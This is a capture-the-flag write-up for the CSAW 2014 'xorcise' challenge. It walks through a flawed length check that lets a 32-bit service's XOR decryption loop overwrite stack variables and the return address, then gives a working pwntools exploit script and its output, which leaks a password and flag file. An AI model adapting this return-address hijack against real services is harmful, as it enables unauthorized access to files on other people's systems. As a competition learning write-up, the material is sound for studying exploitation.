CSAW 2014 Exploit 500 writeup : xorcise

The CSAW 2014 Exploit500 challenge was a Linux 32-bit network service for which the executable and the source code were provided (I saved a copy of the source code here). The service accepts packets defined by the structure `cipher_data` and first applies a decryption loop to the received data.

```
struct cipher_data
{
    uint8_t length;
    uint8_t key[8];
    uint8_t bytes[128];
};
typedef struct cipher_data cipher_data;
```

The service provides multiple commands, however the 2 interesting ones, *read_file* and *system*, require your packet to be authenticated. The authentication verification is done in `is_authenticated()` and computes an authentication checksum based on a password read from the local file 'password.txt'. This check does not seem to be vulnerable.

My teammate EiNSTeiN_ discovered that there is a flaw in the `decipher()` method that does the decryption of the data. The function allocates a buffer *buf* which will contain the decrypted data, the allocated size is MAX_BLOCKS * BLOCK_SIZE which is 128 bytes. The copy of the packet bytes to the buffer is done safely with memcpy.

```
#define BLOCK_SIZE 8
#define MAX_BLOCKS 16
[...]
memcpy(buf, data->bytes, sizeof(buf));
```

There is also a check to ensure that the decryption loop does not process more than the size of the buffer `buf[]`.

```
    if ((data->length / BLOCK_SIZE) > MAX_BLOCKS)
    {
        data->length = BLOCK_SIZE * MAX_BLOCKS;
    }
```

But this check is flawed, we can pass a value of 135 which will pass the check (135 / 8 equals 16 which is not bigger than MAX_BLOCKS). The decryption loop is applied by blocks of 8 bytes, so we are able to apply it to 8 bytes outside of buf[].

```
    for (loop = 0; loop < data->length; loop += 8)
    {
        for (block_index = 0; block_index < 8; ++block_index)
        {
            buf[loop+block_index]^=(xor_mask^data->key[block_index]);
        }
    }
```

If we look at the stack layout of `decipher()` we see that those 8 bytes are the variables `xor_mask`, `block_index` and the first 3 bytes of `loop`.

```
-00000095 buf             db 128 dup(?)
-00000015 xor_mask        db ?
-00000014 block_index     dd ?
-00000010 loop            dd ?
```

The strategy I went for is to modify the value of loop to make it point on the return address of decipher() and modify it's 2 first bytes to make it return somewhere else. Hopefully we can find an interesting place to jump to.

Let's go through the modification of the bytes one at a time. The first one is xor_mask. At this point block_index equals 0. We know 2 of the values in the decryption (xor_mask = 0x8F and buf[loop+block_index] = 0x8F), so we can set key[block_index] to get the output value we want, let's set xor_mask to 0 to make the next steps easier. 0x8F ^ 0x8F ^ 0x00 equals 0x00, so this is the value we will put at key[0].

```
variable          : prev_val   block_index  new_val key_value
xor_mask       : 0x8F       0           0x00    key[0] = 0x00
```

Next up is the first byte of block_index, at this point it is equal to 1. We will keep it's value at 1 so the decryption loop continues normally. As we have modified xor_mask to 0x00, the computation is now 0x01 ^ 0x01 ^ 0x00 which equals 0x00, we put this value in key[1]. We will also leave the other bytes of block_index unchanged. Here is the status of our table so far :

```
variable       : prev_val   block_index  new_val key_value
xor_mask       : 0x8F       0           0x00    key[0] = 0x00
block_index[0] : 0x01       1           0x01    key[1] = 0x00
block_index[1] : 0x00       2           0x00    key[2] = 0x00
block_index[2] : 0x00       3           0x00    key[3] = 0x00
block_index[3] : 0x00       4           0x00    key[4] = 0x00
```

We can now modify the first byte of loop. It's current value is 0x80 (128), the value we need to make buf[loop+block_index] modify the return address at this point is 0x93, so that will give us key[5] = 0x13.

```
variable       : prev_val   block_index  new_val key_value
loop[0]        : 0x80       5           0x93    key[5] = 0x13
```

We are now able to modify the return address of `decipher()`, we're making good progress. So where do we want to make the program jump? There is a call to `read_file()` in `process_connection()`, this command reads the content of a file and sends its content back to us, we could use it to read the content of 'password.txt'.

```
.text:08049279                  mov     eax, [ebp+var_10]
.text:0804927C                  add     eax, 8
.text:0804927F                  sub     esp, 8
.text:08049282                  push    eax
.text:08049283                  push    offset aReadFileReques ; "Read
File Request: %s\n"
.text:08049288                  call    _printf
.text:0804928D                  add     esp, 10h
.text:08049290                  mov     eax, [ebp+var_10]
.text:08049293                  add     eax, 8
.text:08049296                  sub     esp, 8
.text:08049299                  push    eax             ; filename
```

```
.text:0804929A                  push    [ebp+fd]        ; fd
.text:0804929D                  call    read_file
```

There is a little detail to keep in mind, there is a stack adjustment after the call to `decipher()`, as we are hijacking the return address the stack will not be properly readjusted.

```
.text:0804918F                  call    decipher
.text:08049194                  add     esp, 10h
;274     packet = (request *)&decrypted;
.text:08049197                  lea     eax, [ebp+var_11D]

.text:0804919D                  mov     [ebp+var_10], eax
```

My first thought was to jump at `0804928D` which does the same stack adjustment and then sets the correct parameters for the call to `read_file()`. However this approach does not work as the value of var_10 is set only after the call to `decipher()`. Bummer.

I then noticed that the address of filename is passed via eax at 0x08049299 and it happens that at the end of `decipher()` eax points inside buf[]. So the last thing I needed to do was to adjust the initial packet content so that it contained 'password.txt\x00' XOR 0x8F XOR the key. Here is the final content of the variable smashing table.

```
variable        : prev_val   block_index  new_val key_value
xor_mask        : 0x8F       0            0x00    key[0] = 0x00
block_index[0] : 0x01       1            0x01    key[1] = 0x00
block_index[1] : 0x00       2            0x00    key[2] = 0x00
block_index[2] : 0x00       3            0x00    key[3] = 0x00
block_index[3] : 0x00       4            0x00    key[4] = 0x00
loop[0]         : 0x80       5            0x93    key[5] = 0x13
at this point buf[loop+block_index] overwrites retaddr

retaddr[1]      : 0x94       6            0x99    key[6] = 0x0d
retaddr[2]      : 0x91       7            0x92    key[7] = 0x03
```

And below is the source code of my exploit, I used the pwntools python library by Gallopsled which saved me a ton of time for other challenges, definitely check it out.

```
from pwn import *

#sock = remote("127.0.0.1", 24001)
sock = remote("128.238.66.227", 24001)

key = "\x00\x00\x00\x00\x00\x13\x0d\x03"

packet  = ""
packet += chr(135) # cipher_data.length = 135
packet += key # key
packet += "A"
#packet += xor(xor("password.txt\x00", "\x00\x00\x00\x00\x13\x0d\x03\x00"), 0x8f)
packet += xor(xor("flag.txt\x00", "\x00\x00\x00\x00\x13\x0d\x03\x00"), 0x8f)

packet += "A"* (140 - len(packet))

sock.send(packet)
```

```
sock.interactive()
```

And finally the exploit in action :

```
[ekse@xubuntu] : ~/csaw/exploit500 $ python client.py
[+] Opening connection to 127.0.0.1 on port 24001: OK
[*] Switching to interactive mode
pass123
[*] Got EOF while reading in interactive
```

So the password was 'pass123', I was kind of depressing to have worked so much for such a weaksauce password, the CSAW CTF organizers really are a bunch of trolls. Now we could implement the packet authentication and call the *system* command to list the files on the server, but I guessed the flag was probably in 'flag.txt' and used the exploit to read that file instead :-)

The flag was `flag{code_exec>=crypto_break}`.